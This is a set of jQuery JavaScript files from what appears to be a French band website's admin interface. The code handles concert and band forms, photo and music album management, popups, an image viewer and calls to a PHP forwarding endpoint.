$("form[id="+idForm+"]").find("#resultat").html(retour.detail);
//$('#resultat').html(retour.detail);
if (retour.succes) {
$.ajaxSetup({async:false});
displayListe(idForm);
$.ajaxSetup({async:true});
}
if (mode==modeAjout) {
setEtatInterfaceModeAjout(idForm);
} else {
$.post('/outils/forwarder/Forwarder.php', {className: classeAction, cmd: "getIdModifie"}, function(dataID) {
var retourID = JSON.parse(dataID);
if (retourID.succes) {
setEtatInterfaceModeModification(idForm,retourID.id);
} else {
//$('#resultat').html(retourID.detail);
$("form[id="+idForm+"]").find("#resultat").html(retourID.detail);
}
});
}
});
}
function valider(idForm) {
$.ajaxSetup({async:false});
disableAllButton(idForm);
var parametres = { className: classeAction, cmd: "valider"};
var prefixeChampFormulaire = "champ_formulaire_";
$("form[id="+idForm+"]").find(":input[id*=" + prefixeChampFormulaire + "]").each(function(i) {
var nomChamp = this.id.substring (prefixeChampFormulaire.length);
var value = this.value;
if (this.type == "checkbox") {
parametres[nomChamp] = this.checked;
} else {
parametres[nomChamp] = this.value;
}
});
var retour;
$.post('/outils/forwarder/Forwarder.php', parametres, function(data) {
retour = JSON.parse(data);
});
//$('#resultat').html(retour.detail);
$("form[id="+idForm+"]").find("#resultat").html(retour.detail);
if (retour.succes) {
displayListe(idForm);
changerMode(idForm,modeAjout);
} else {
if (mode==modeAjout) {
setEtatInterfaceModeAjout(idForm);
} else {
$.post('/outils/forwarder/Forwarder.php', {className: classeAction, cmd: "getIdModifie"}, function(dataID) {
var retourID = JSON.parse(dataID);
if (retourID.succes) {
setEtatInterfaceModeModification(idForm,retourID.id);
} else {
//$('#resultat').html(retourID.detail);
$("form[id="+idForm+"]").find("#resultat").html(retourID.detail);
}
});
}
}
$.ajaxSetup({async:true});
return retour.succes;
}
//UTILITAIRE
var modeNonDefini='modeNonDefini';
var modeAjout='modeAjout';
var modeModification='modeModification';
var modeTransition='modeTransition';
var mode = modeNonDefini;
function disableAllButton(idForm) {
$("form[id="+idForm+"]").find("button").attr('disabled', true);
}
function setEtatInterfaceModeModification(idForm,id) {
$("form[id="+idForm+"]").find("button").attr('disabled', false);
$("form[id="+idForm+"]").find("button[id*=_" + id + "]").attr('disabled', true);
}
function setEtatInterfaceModeAjout(idForm) {
$("form[id="+idForm+"]").find("button").not('#bouton_formulaire_annulation').attr('disabled', false);
$("form[id="+idForm+"]").find("#bouton_formulaire_annulation").attr('disabled', true);
}
function setTitreFormulaire(idForm) {
if (mode == modeAjout) {
$("form[id="+idForm+"]").find('#titreFormulaire').html($("form[id="+idForm+"]").attr("titreajout") + ':');
} else if (mode == modeModification) {
$("form[id="+idForm+"]").find('#titreFormulaire').html($("form[id="+idForm+"]").attr("titremodification") + ':');
} else {
$("form[id="+idForm+"]").find('#titreFormulaire').html("{MODE INCONNU}");
}
}
function charger(page, parametre) {
$.ajaxSetup({async:true});
$("button[id*=bouton_formulaire_]").attr('disabled', true);
afficherChargementDans("contenu");
$.post(page, {parametre : parametre}, function(data) {
$('#contenu').html(data);
addClickHandlers();
$("button[id*=bouton_formulaire_]").attr('disabled', false);
$("form").each(function(i) {
var idForm = this.id;
//passage en mode synchrone pour que la liste ne s'affiche pas avant que
//le mode ajout soit fini
$.ajaxSetup({async:false});
changerMode(idForm, modeAjout);
$.ajaxSetup({async:true});
displayListe(idForm);
});
});
}
function chargerSimple(page, parametre) {
$("button[id*=bouton_admin_section]").attr('disabled', true);
afficherChargementDans("contenu");
$.post(page, {parametre : parametre}, function(data) {
$('#contenu').html(data);
addClickHandlers();
$("button[id*=bouton_admin_section]").attr('disabled', false);
});
}
function displayListe(idForm) {
$.post('/outils/forwarder/Forwarder.php', { className: classeViewHelper, cmd: "afficherListeAvecModif" }, function(data) {
var idListe = $("form[id="+idForm+"]").attr('listeLiee');
$('#'+idListe).html(data);
addClickHandlers();
});
}
function changerMode(idForm, nouveauMode, id) {
mode = modeTransition;
disableAllButton(idForm);
//annulation de l'ajout/modif en cours
$.ajaxSetup({async:false});
annuler(idForm);
$.ajaxSetup({async:true});
if (nouveauMode == modeModification) {
modifier(idForm, id);
} else if (nouveauMode == modeAjout) {
ajouter(idForm);
}
}
|
JavaScript
|
function afficherListeGroupeDansFormulaire() {
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "getListeAutreGroupeLie"}, function(data) {
var retour = JSON.parse(data);
listeGroupe = "";
for(var key in retour){
if (key != 'succes') {
listeGroupe += "<tr id='groupe_"+key+"' class='tableAutreGroupe'><td width='200px'>- " + retour[key] + "</td><td> <a href='javascript:supprimerGroupeAConcert(" + key +");'><img src='/icones/supprimer.png' onMouseOut=\"src='/icones/supprimer.png'\" onMouseOver=\"src='/icones/supprimer-hover.png'\"/></a></td></tr>";
}
}
if (listeGroupe == "") {
$("#autresGroupes").html("Pas d'autre groupe!");
} else {
$("#autresGroupes").html("<table cellspacing='0'>" + listeGroupe + "</table>");
}
});
}
function ajouterGroupeAConcert() {
$.ajaxSetup({async:false});
var idGroupe = $("#listeAutresGroupesDispos option:selected").val();
if ($('#groupe_' + idGroupe).size() > 0) {
//normalement ne doit jamais arriver
alert('Ce groupe est déjà dans la liste');
return;
}
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "ajouterGroupeAConcert", id: idGroupe }, function(data) {
var retour = JSON.parse(data);
if (retour.succes) {
afficherListeGroupeDansFormulaire();
remplirListeAutreGroupeDispo();
} else {
$("#autresGroupes").html("Erreur inattendue lors de l'ajout");
}
});
$.ajaxSetup({async:true});
}
function supprimerGroupeAConcert(idGroupe) {
$.ajaxSetup({async:false});
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "supprimerGroupeAConcert", id: idGroupe }, function(data) {
var retour = JSON.parse(data);
if (retour.succes) {
afficherListeGroupeDansFormulaire();
remplirListeAutreGroupeDispo();
} else {
$("#autresGroupes").html("Erreur inattendue lors de la suppression");
}
});
$.ajaxSetup({async:true});
}
function remplirListeAutreGroupeDispo() {
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "getListeAutreGroupeDisponible" }, function(data) {
retour = JSON.parse(data);
var option = $("<option/>");
var optionClone = null;
var select = $('#listeAutresGroupesDispos');
select.children().remove();
auMoinsUnGroupe = false;
for(var key in retour){
if (key != 'succes') {
if ($('#groupe_' + key).size() == 0) {
auMoinsUnGroupe = true;
//si le groupe n'est pas déjà dans la liste
optionClone = option.clone(true);
optionClone.val(key);
optionClone.text(retour[key]);
select.append(optionClone);
}
}
}
if (!auMoinsUnGroupe) {
//si pas de groupe, il faut griser le bouton
optionClone = option.clone(true);
optionClone.val(-1);
optionClone.text("Pas de groupe dispo!");
select.append(optionClone);
$("#button_ajouter_groupe_sur_concert").attr('disabled', true);
} else {
$("#button_ajouter_groupe_sur_concert").attr('disabled', false);
}
});
}
function onConcertAjoutModif() {
afficherListeGroupeDansFormulaire();
remplirListeAutreGroupeDispo();
}
function gererPhotoConcert(idConcert, concertPresentation) {
$.ajaxSetup({async:false});
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "putConcertEnSession", id: idConcert}, function(data) {});
var parametre = {
id:idConcert,
concertPresentation: concertPresentation
};
chargerSimple("/web/photo/photo.php", parametre);
displayListe();
$.ajaxSetup({async:true});
}
|
JavaScript
|
function selectionnerImage(nomImage) {
var champ = $("#" + nomImage)
$("[class=cadre_miniature_selectionnee]").attr("class", "cadre_miniature");
champ.attr("class", "cadre_miniature_selectionnee");
}
function deletePhoto() {
$.ajaxSetup({async:false});
var result;
$("[class=cadre_miniature_selectionnee]").each(function (){
var imageSource = $(this).attr("src");
var nomPhoto = imageSource.substring(imageSource.lastIndexOf("/") + 1);
if (confirm("voulez vous vraiment supprimer la photo '" + imageSource + "'?")) {
$.post('/outils/forwarder/Forwarder.php', {className: 'GererAlbumPhotoAction', cmd: "deletePhoto", nomPhoto: nomPhoto }, function(data) {
result = JSON.parse(data);
});
}
});
if (result.succes) {
displayListe();
return true;
} else {
$("#resultat").html(result.detail);
return false;
}
}
function updateCommentaire(idPhoto) {
var retour;
$("#champ_formulaire_commentaire_" + idPhoto).attr('disabled', false);
//$("#bouton_modifier_*").attr('disabled', true);
$("button[id*=bouton_modifier_]").attr('disabled', true);
//$("button[id*=bouton_enregistrer_]").attr('disabled', true);
$("#bouton_enregistrer_" + idPhoto).attr('disabled', false);
}
function saveCommentaire(idPhoto) {
var commentaire = $("#champ_formulaire_commentaire_" + idPhoto).val();
$.post('/outils/forwarder/Forwarder.php', { className: 'GererPhotoAction', cmd: "saveCommentaire", idPhoto: idPhoto, commentaire: commentaire}, function(data) {
retour = JSON.parse(data);
if (retour.succes) {
$("#champ_formulaire_commentaire_" + idPhoto).attr('disabled', true);
$("button[id*=bouton_modifier_]").attr('disabled', false);
$("#bouton_enregistrer_" + idPhoto).attr('disabled', true);
$('#resultat_' + idPhoto).html(retour.detail);
setTimeout(function() {
$('#resultat_' + idPhoto).html("");
}, 3000);
} else {
$('#resultat_' + idPhoto).html(retour.detail);
}
});
}
function setCouvertureAlbum() {
$.ajaxSetup({async:false});
var result;
$("[class=cadre_miniature_selectionnee]").each(function (){
var nomCompletMiniatureAlbum = $(this).attr("src");
var nomMiniatureAlbum = nomCompletMiniatureAlbum.substring(nomCompletMiniatureAlbum.lastIndexOf("/") + 1);
var idDivPhotoMiniatureAlbum = "photoMiniatureAlbum_" + nomMiniatureAlbum.replace(".", "_");
if ($("#" + idDivPhotoMiniatureAlbum).attr("class") == "photo_miniature_album_oui") {
//si c'est déjà la miniature, on l'enlève
$.post('/outils/forwarder/Forwarder.php', {className: 'GererAlbumPhotoAction', cmd: "setCouvertureAlbum", nomMiniatureAlbum: "" }, function(data) {
result = JSON.parse(data);
});
if (result.succes) {
supprimeAffichageMiniatureParDefault();
return true;
}
} else {
$.post('/outils/forwarder/Forwarder.php', {className: 'GererAlbumPhotoAction', cmd: "setCouvertureAlbum", nomMiniatureAlbum: nomMiniatureAlbum }, function(data) {
result = JSON.parse(data);
});
if (result.succes) {
afficheMiniatureParDefault(idDivPhotoMiniatureAlbum);
return true;
}
}
if (!result) {
$("#resultat").html(result.detail);
return false;
}
});
}
function afficheMiniatureParDefault(idDivPhotoMiniatureAlbum) {
supprimeAffichageMiniatureParDefault();
$("#" + idDivPhotoMiniatureAlbum).attr("class", "photo_miniature_album_oui");
}
function supprimeAffichageMiniatureParDefault() {
$("[id*=photoMiniatureAlbum_]").attr("class", "photo_miniature_album_non");
}
function gererPhotoAlbum(idAlbum, albumPresentation) {
$.ajaxSetup({async:false});
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "putAlbumPhotoEnSession", id: idAlbum}, function(data) {});
var parametre = {
id:idAlbum,
albumPresentation: albumPresentation
};
chargerSimple("/web/photo/photo.php", parametre);
displayListe();
$.ajaxSetup({async:true});
}
|
JavaScript
|
function selectionnerMusique(nomImage) {
var champ = $("#" + nomImage)
$("[class=cadre_musique_selectionnee]").attr("class", "cadre_musique");
champ.attr("class", "cadre_musique_selectionnee");
}
function deleteMusique() {
$.ajaxSetup({async:false});
var result;
$("[class=cadre_musique_selectionnee]").each(function (){
var musiqueSource = $(this).attr("src");
var nomPhoto = imageSource.substring(imageSource.lastIndexOf("/") + 1);
if (confirm("voulez vous vraiment supprimer la musique '" + imageSource + "'?")) {
$.post('/outils/forwarder/Forwarder.php', {className: 'GererAlbumMusiqueAction', cmd: "deleteMusique", nomPhoto: nomPhoto }, function(data) {
result = JSON.parse(data);
});
}
});
if (result.succes) {
displayListe();
return true;
} else {
$("#resultat").html(result.detail);
return false;
}
}
function updateCommentaire(idPhoto) {
var retour;
$("#champ_formulaire_commentaire_" + idPhoto).attr('disabled', false);
//$("#bouton_modifier_*").attr('disabled', true);
$("button[id*=bouton_modifier_]").attr('disabled', true);
//$("button[id*=bouton_enregistrer_]").attr('disabled', true);
$("#bouton_enregistrer_" + idPhoto).attr('disabled', false);
}
function saveCommentaire(idPhoto) {
var commentaire = $("#champ_formulaire_commentaire_" + idPhoto).val();
$.post('/outils/forwarder/Forwarder.php', { className: 'GererPhotoAction', cmd: "saveCommentaire", idPhoto: idPhoto, commentaire: commentaire}, function(data) {
retour = JSON.parse(data);
if (retour.succes) {
$("#champ_formulaire_commentaire_" + idPhoto).attr('disabled', true);
$("button[id*=bouton_modifier_]").attr('disabled', false);
$("#bouton_enregistrer_" + idPhoto).attr('disabled', true);
$('#resultat_' + idPhoto).html(retour.detail);
setTimeout(function() {
$('#resultat_' + idPhoto).html("");
}, 3000);
} else {
$('#resultat_' + idPhoto).html(retour.detail);
}
});
}
function setCouvertureAlbum() {
$.ajaxSetup({async:false});
var result;
$("[class=cadre_miniature_selectionnee]").each(function (){
var nomCompletMiniatureAlbum = $(this).attr("src");
var nomMiniatureAlbum = nomCompletMiniatureAlbum.substring(nomCompletMiniatureAlbum.lastIndexOf("/") + 1);
var idDivPhotoMiniatureAlbum = "photoMiniatureAlbum_" + nomMiniatureAlbum.replace(".", "_");
if ($("#" + idDivPhotoMiniatureAlbum).attr("class") == "photo_miniature_album_oui") {
//si c'est déjà la miniature, on l'enlève
$.post('/outils/forwarder/Forwarder.php', {className: 'GererAlbumPhotoAction', cmd: "setCouvertureAlbum", nomMiniatureAlbum: "" }, function(data) {
result = JSON.parse(data);
});
if (result.succes) {
supprimeAffichageMiniatureParDefault();
return true;
}
} else {
$.post('/outils/forwarder/Forwarder.php', {className: 'GererAlbumPhotoAction', cmd: "setCouvertureAlbum", nomMiniatureAlbum: nomMiniatureAlbum }, function(data) {
result = JSON.parse(data);
});
if (result.succes) {
afficheMiniatureParDefault(idDivPhotoMiniatureAlbum);
return true;
}
}
if (!result) {
$("#resultat").html(result.detail);
return false;
}
});
}
function afficheMiniatureParDefault(idDivPhotoMiniatureAlbum) {
supprimeAffichageMiniatureParDefault();
$("#" + idDivPhotoMiniatureAlbum).attr("class", "photo_miniature_album_oui");
}
function supprimeAffichageMiniatureParDefault() {
$("[id*=photoMiniatureAlbum_]").attr("class", "photo_miniature_album_non");
}
function gererMusiqueAlbum(idAlbum, albumPresentation) {
$.ajaxSetup({async:false});
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "putAlbumMusiqueEnSession", id: idAlbum}, function(data) {});
var parametre = {
id:idAlbum,
albumPresentation: albumPresentation
};
chargerSimple("/web/musique/musique.php", parametre);
displayListe();
$.ajaxSetup({async:true});
}
|
JavaScript
|
var outilPopupWidthPopup;
var outilPopupHeightPopup;
var outilPopupPopupOuverte = false;
var onResizeUser;
var overflowInitial;
var outilPopupLargeurBordure = 20;
var outilPopupPadding = 10;
var outilPhotoGrandePopup;
function redimmensionnementElements() {
//redimmensionnement du fond
$('#masqueApplication').css("width", getOutilPopupWidthEcranVisible());
$('#masqueApplication').css("height", getOutilPopupHeightEcranVisible());
//redimmensionnement de la popup (si c'est une grande popup)
if (outilPhotoGrandePopup == true) {
setOutilPopupWidthPopup(getWidthGrandePopup());
setOutilPopupHeightPopup(getHeightGrandePopup());
}
$('#popup_block').css({
'width': outilPopupWidthPopup,
'height': outilPopupHeightPopup
});
positionneElements();
}
function positionneElements() {
var scrollLeft = getScrollXY()[0];
var scrollTop = getScrollXY()[1];
//Positionne le fond
$('#masqueApplication').css("left", scrollLeft);
$('#masqueApplication').css("top", scrollTop);
//Positionne la fenêtre
var popMargTop = (getOutilPopupHeightEcranVisible() - outilPopupHeightPopup) / 2;
var popMargLeft = (getOutilPopupWidthEcranVisible() - outilPopupWidthPopup) / 2;
var positionTop = popMargTop + scrollTop - outilPopupLargeurBordure - outilPopupPadding;
var positionLeft = popMargLeft + scrollLeft - outilPopupLargeurBordure - outilPopupPadding;
$('#popup_block').css({
'top' : positionTop,
'left' : positionLeft
});
//Positionne le bouton fermer
$("#boutonFermer").css('top', -16);
$("#boutonFermer").css('left', outilPopupWidthPopup -16 + outilPopupPadding * 2);
}
function ouvrirGrandePopup(page, onLoad, onResize) {
onResizeUser = onResize;
if (onResize != null) {
//$(window).bind('resize', onResize);
$(window).resize(onResize);
}
ouvrirPopup(page, getWidthGrandePopup(), getHeightGrandePopup(), onLoad, true);
}
function ouvrirPopup(page, popWidth, popHeight, onLoad, grandePopup) {
if (outilPopupPopupOuverte) {
return;
}
if (grandePopup == true) {
outilPhotoGrandePopup = true;
}else {
outilPhotoGrandePopup = false;
}
setOutilPopupWidthPopup(popWidth);
setOutilPopupHeightPopup(popHeight);
outilPopupPopupOuverte = true;
$(window).bind('resize', redimmensionnementElements);
$(window).bind('scroll', positionneElements);
jQuery('<div/>', {
id: 'masqueApplication',
onclick : 'fermerPopup();'
}).appendTo('body');
jQuery('<div/>', {
id: 'popup_block'
}).appendTo('body');
$('#popup_block').fadeIn();
overflowInitial =$('body').css("overflow");
$('body').css("overflow", "hidden");
//Apparition du fond - .css({'filter' : 'alpha(opacity=80)'}) pour corriger les bogues de IE
$('#masqueApplication').css({'filter' : 'alpha(opacity=80)'}).fadeIn();
$.post(page, function(data) {
$('#popup_block').css('position','absolute').css('left','0').css('right','0').css('top','0').css('bottom','0');
$('#popup_block').html(data);
jQuery('<img/>', {
id: 'boutonFermer',
src:'/icones/supprimer-32.png',
onMouseout:"this.src='/icones/supprimer-32.png';",
onMouseOver:"this.src='/icones/supprimer-32-hover.png';",
onclick : 'fermerPopup();'
}).appendTo('#popup_block');
if (onLoad != null) {
onLoad();
}
redimmensionnementElements();
});
}
function fermerPopup() {
//suppression des évènements
$(window).unbind('resize', redimmensionnementElements);
$(window).unbind('scroll', positionneElements);
if (onResizeUser != null) {
$(window).bind('resize', onResizeUser);
}
//Suppression des composants de la popup
$('#masqueApplication').fadeOut(300, function() { $(this).remove(); });
$("#boutonFermer").fadeOut(300, function() { $(this).remove(); });
$('#popup_block').fadeOut(300, function() { $(this).remove(); });
//restauration de l'overflow
$('body').css("overflow", overflowInitial);
outilPopupPopupOuverte = false;
return false;
}
/////////////////Méthodes utilitaires////////////////////
function getOutilPopupHeightEcranVisible() {
return $(window).innerHeight();
}
function getOutilPopupWidthEcranVisible() {
return $(window).innerWidth();
}
function setOutilPopupWidthPopup(popWidth) {
//if (navigator.appName == 'Microsoft Internet Explorer') {
// outilPopupWidthPopup = popWidth + 2*outilPopupLargeurBordure + outilPopupPadding;
//} else {
outilPopupWidthPopup = popWidth;
//}
}
function setOutilPopupHeightPopup(popHeight) {
//if (navigator.appName == 'Microsoft Internet Explorer') {
// outilPopupHeightPopup = popHeight + 2*outilPopupLargeurBordure + outilPopupPadding;
//} else {
outilPopupHeightPopup = popHeight;
//}
}
function getWidthGrandePopup() {
return getOutilPopupWidthEcranVisible() - 200;
}
function getHeightGrandePopup() {
return getOutilPopupHeightEcranVisible() - 150;
}
function getScrollXY() {
var scrOfX = 0, scrOfY = 0;
if( typeof( window.pageYOffset ) == 'number' ) {
//Netscape compliant
scrOfY = window.pageYOffset;
scrOfX = window.pageXOffset;
} else if( document.body && ( document.body.scrollLeft || document.body.scrollTop ) ) {
//DOM compliant
scrOfY = document.body.scrollTop;
scrOfX = document.body.scrollLeft;
} else if( document.documentElement && ( document.documentElement.scrollLeft || document.documentElement.scrollTop ) ) {
//IE6 standards compliant mode
scrOfY = document.documentElement.scrollTop;
scrOfX = document.documentElement.scrollLeft;
}
return [ scrOfX, scrOfY ];
}
|
JavaScript
|
alert("document.documentElement.offsetWidth" +document.documentElement.offsetWidth);
alert("window.innerWidth"+window.innerWidth);
alert("document.body.clientWidth"+document.body.clientWidth);
alert("document.body.scrollWidth"+document.body.scrollWidth);
alert("$(document).width();"+$(document).width());
alert("$(window).width();"+$(document).width());
alert("document.documentElement.offsetHeight"+document.documentElement.offsetHeight);
alert("window.innerHeight"+window.innerHeight);
alert("document.body.clientHeight"+document.body.clientHeight);
alert("window.height"+window.height);
alert("document.body.scrollHeight"+document.body.scrollHeight);
alert("$(document).height();"+$(document).height());
alert("$(window).height();"+$(document).height());
alert("$(document).outerHeight();"+$(document).outerHeight());
alert("$(window).outerHeight();"+$(window).outerHeight());
alert("$(document).outerWidth();"+$(document).outerWidth());
alert("$(window).outerWidth();"+$(window).outerWidth());
alert("$(document).innerWidth();"+$(document).innerWidth());
alert("$(window).innerWidth();"+$(window).innerWidth());
|
JavaScript
|
function executeScript(nomScript) {
$.ajaxSetup({async:false});
$('#bouton_execution_script_' + nomScript).attr('disabled', true);
var parametres = { 'scriptAExecuter': nomScript + ".sql"};
var retour;
$.post('/outils/scriptsql/ScriptSQL.php', parametres, function(data) {
retour = JSON.parse(data);
});
if (!retour.succes) {
$('#bouton_execution_script_' + nomScript).attr('disabled', false);
}
$('#span_execution_script_' + nomScript).html(retour.detail);
$.ajaxSetup({async:true});
return retour.succes;
}
|
JavaScript
|
var outilVisionneuseHauteurBande = 130;
function initialiserPositions() {
/*if (navigator.appName == 'Microsoft Internet Explorer') {
$("#bandeMiniatures").css('top', outilPopupHeightPopup - 160);
$("#bandeMiniatures").css('width', outilPopupWidthPopup - 40);
} else {
$("#bandeMiniatures").css('top', outilPopupHeightPopup - 120 + 40);
}*/
$("#bandeMiniatures").css('top', outilPopupHeightPopup - outilVisionneuseHauteurBande + 2 * outilPopupPadding);
}
function ouvrirPopupVisionneuse(idAlbumPhoto, nomPhotoParDefaut) {
if (typeof(nomCompletPhotoParDefaut)=='undefined') {
nomCompletPhotoParDefaut = "";
}
$("#photoVisionneuse").attr("src", "");
ouvrirGrandePopup("/outils/photo/visionneuse.php?idAlbumPhoto=" + idAlbumPhoto + "&nomPhotoParDefaut=" + nomPhotoParDefaut, initialiserPositions, onSizeChange);
}
function onSizeChange() {
initialiserPositions();
redimmensionnerImage();
}
var largeurReelleImageChargee = 0;
var hauteurReelleImageChargee = 0;
function redimmensionnerImage() {
var photo= $("#photoVisionneuse");
photo.removeAttr("width");
photo.removeAttr("height");
var hauteurImage = hauteurReelleImageChargee;
var largeurImage = largeurReelleImageChargee;
var ratioImage = largeurImage / hauteurImage;
var hauteurMaxi = getHauteurMaxiImage();
var largeurMaxi = getLargeurMaxiImage();
var hauteurImageApresModifications = hauteurImage;
var largeurImageApresModifications = largeurImage;
var taillesModifiees = false;
console.log("changement taille popup : " + outilPopupWidthPopup + ", " + outilPopupHeightPopup);
if (hauteurImage > hauteurMaxi) {
hauteurImageApresModifications = hauteurMaxi;
largeurImageApresModifications = hauteurMaxi * ratioImage;
console.log("Changement taille image 1 : " + largeurImageApresModifications + ", " + hauteurMaxi);
photo.attr('height', hauteurMaxi);
photo.attr('width', largeurImageApresModifications);
//OK pour la hauteur, vérifie que la largeur n'est pas toujours trop grande
if (largeurImageApresModifications > largeurMaxi) {
console.log("Changement taille image 2 : " + largeurMaxi + ", " + largeurMaxi / ratioImage);
//Si c'est la cas, on se base sur la largeur pour trouver la taille maxi
photo.attr('width', largeurMaxi);
photo.attr('height', largeurMaxi / ratioImage);
}
taillesModifiees = true;
}
if (largeurImage > largeurMaxi) {
hauteurImageApresModifications = largeurMaxi / ratioImage;
largeurImageApresModifications = largeurMaxi;
console.log("Changement taille image 3 : " + largeurMaxi + ", " + hauteurImageApresModifications);
photo.attr('width', largeurMaxi);
photo.attr('height', hauteurImageApresModifications);
//OK pour la largeur, vérifie que la hauteur n'est pas toujours trop grande
if (hauteurImageApresModifications > hauteurMaxi) {
console.log("Changement taille image 4 : " + hauteurMaxi * ratioImage + ", " + hauteurMaxi);
//dans ce cas, on se base sur la hauteur pour trouver la taille maxi
photo.attr('height', hauteurMaxi);
photo.attr('width', hauteurMaxi * ratioImage);
}
taillesModifiees = true;
}
if (!taillesModifiees) {
console.log("Changement taille image 5 : " + largeurImage + ", " + hauteurImage);
photo.attr('width', largeurImage);
photo.attr('height', hauteurImage);
}
//empèche d'avoir des tailles <=0
if (photo.attr('width') < 1) {
photo.attr('width', 1);
}
if (photo.attr('height') < 1) {
photo.attr('height', 1);
}
var positionGauche = (getLargeurMaxiImage() - photo.attr('width')) / 2 + 10;
photo.css('left', positionGauche);
}
function chargerImage(nomPhoto) {
var photo= $("#photoVisionneuse");
//photo.css("display","none");
photo.fadeOut(100, function() {
var monImage = new Image();
monImage.onload = function(){
largeurReelleImageChargee = monImage.width;
hauteurReelleImageChargee = monImage.height;
//Redimmensionnement de l'image
redimmensionnerImage();
photo.attr("src", monImage.src);
//photo.css("display","block");
photo.fadeIn(100);
}
monImage.src = nomPhoto;
});
}
function getHauteurMaxiImage() {
//if (navigator.appName == 'Microsoft Internet Explorer') {
// return outilPopupHeightPopup - 210 - 2 * getMargeImage();
//} else {
return outilPopupHeightPopup - outilVisionneuseHauteurBande - 2 * getMargeImage();
//}
}
function getLargeurMaxiImage() {
//if (navigator.appName == 'Microsoft Internet Explorer') {
// return outilPopupWidthPopup - 80 - 2 * getMargeImage();
//} else {
return outilPopupWidthPopup - 2 * getMargeImage();
//}
}
function getMargeImage() {
return 0;
}
|
JavaScript
|
function createAlbumPhoto(id) {
$.ajaxSetup({async:false});
$('#bouton_creation_album_' + id).attr('disabled', true);
var parametres = { className: 'GererAlbumPhotoAction', cmd: "insertWithValues", id:id, nom:id, commentaire:''};
var retour;
$.post('/outils/forwarder/Forwarder.php', parametres, function(data) {
retour = JSON.parse(data);
});
if (retour.succes) {
parametres = { className: 'GererConcertAction', cmd: "linkWithConcertIfExists", idAlbumPhoto:id, idConcert:id};
var retourLienConcert;
$.post('/outils/forwarder/Forwarder.php', parametres, function(data) {
retourLienConcert = JSON.parse(data);
});
if (!retourLienConcert.succes) {
$('#bouton_creation_album_' + id).attr('disabled', false);
}
} else {
$('#bouton_creation_album_' + id).attr('disabled', false);
}
$('#span_creation_album_' + id).html(retour.detail);
$.ajaxSetup({async:true});
return retour.succes;
}
function createRepertoireAlbumPhoto(id) {
$.ajaxSetup({async:false});
$('#bouton_creation_repertoire_album_' + id).attr('disabled', true);
var parametres = { className: 'GererAlbumPhotoAction', cmd: "createRepertoireAlbumPhoto", id:id, nom:id, commentaire:''};
var retour;
$.post('/outils/forwarder/Forwarder.php', parametres, function(data) {
retour = JSON.parse(data);
});
if (!retour.succes) {
$('#bouton_creation_repertoire_album_' + id).attr('disabled', false);
}
$('#span_creation_repertoire_album_' + id).html(retour.detail);
$.ajaxSetup({async:true});
return retour.succes;
}
function createPhoto(idAlbumPhoto, nomPhotoAlbum, nomPhotoAlbumForId) {
$.ajaxSetup({async:false});
$('#bouton_creation_photo_' + idAlbumPhoto + '_' + nomPhotoAlbumForId).attr('disabled', true);
var parametres = { className: 'GererPhotoAction', cmd: "createEnregistrementPhoto", idAlbumPhoto:idAlbumPhoto, nomPhotoAlbum:nomPhotoAlbum, commentaire:''};
var retour;
$.post('/outils/forwarder/Forwarder.php', parametres, function(data) {
retour = JSON.parse(data);
});
if (!retour.succes) {
$('#bouton_creation_photo_' + idAlbumPhoto + '_' + nomPhotoAlbumForId).attr('disabled', false);
}
$('#span_creation_photo_' + idAlbumPhoto + '_' + nomPhotoAlbumForId).html(retour.detail);
$.ajaxSetup({async:true});
return retour.succes;
}
function deleteEnregistrementPhotoAlbum(idAlbumPhoto, nomPhotoAlbum, nomPhotoAlbumForId) {
$.ajaxSetup({async:false});
$('#bouton_suppression_photo_' + idAlbumPhoto + '_' + nomPhotoAlbumForId).attr('disabled', true);
var parametres = { className: 'GererPhotoAction', cmd: "deleteEnregistrementPhoto", idAlbumPhoto:idAlbumPhoto, nomPhotoAlbum:nomPhotoAlbum};
var retour;
$.post('/outils/forwarder/Forwarder.php', parametres, function(data) {
retour = JSON.parse(data);
});
if (!retour.succes) {
$('#bouton_suppression_photo_' + + idAlbumPhoto + '_' + nomPhotoAlbumForId).attr('disabled', false);
}
$('#span_suppression_photo_' + + idAlbumPhoto + '_' + nomPhotoAlbumForId).html(retour.detail);
$.ajaxSetup({async:true});
return retour.succes;
}
|
JavaScript
|
function afficherChargementDans(idChamp) {
$('#' + idChamp).html("<table width='100%' height='100%'><tr><td align='center'><img src='/icones/load.gif'/></td></tr></table>");
}
|
JavaScript
|
$(function() {
addClickHandlers();
});
function applyDefaultFocus() {
$(function() {
//$("*[focus=true]").focus();
//différer avec un setTimeOut est obligatoire pour internet explorer...
setTimeout(function() { $("*[focus=true]").focus(); }, 10);
});
}
function addClickHandlers() {
$("*").not($("#champ_formulaire_date")).unbind();
$(function() {
$("#bouton_admin_formulaire_valider").click(function() {
valider();
});
});
$(function() {
$("#bouton_admin_formulaire_annuler").click(function() {
annuler();
});
});
applyDefaultFocus();
$(function() {
$("input[formType=date]").datepicker();
updateChampsFormulaires();
});
}
function updateChampsFormulaires() {
$("input").add($("textarea")).each(function(i) {
var idForm = $(this).parents('form:first').attr('id');
$(this).keydown( function(e) {
if (e.keyCode == 13 && e.ctrlKey ) {
valider(idForm);
}
if (e.keyCode == 27 ) {
annuler(idForm);
}
});
});
//Pour les champs texte, rajoute la validation de formulaire par la touche entrée
$("input[type=text]").add($("input[type=password]")).each(function(i) {
var idForm = $(this).parents('form:first').attr('id');
$(this).keydown( function(e) {
if (e.keyCode == 13) {
valider(idForm);
}
});
});
}
|
JavaScript
|
function chargerPage(page, titre) {
$.ajaxSetup({async:true});
$.post(page, function(data) {
$('#contenu').html(data);
document.title = titre;
});
}
|
JavaScript
|
//ENTITE
function annuler(idForm) {
disableAllButton(idForm);
var idUC = getIdUc(idForm);
$.post('/outils/forwarder/Forwarder.php', { idUC: idUC, cmd: "annuler" }, function(data) {
retour = JSON.parse(data);
if (retour.succes) {
if (mode != modeTransition) {
changerMode(idForm, modeAjout);
viderChampResultat(idForm);
}
} else {
$("form[id="+idForm+"]").find("#resultat").html(retour.detail);
}
});
}
function ajouter(idForm) {
//Début d'initialisation de tous les champs
$("#" + idForm).each(function(i){
this.reset();
});
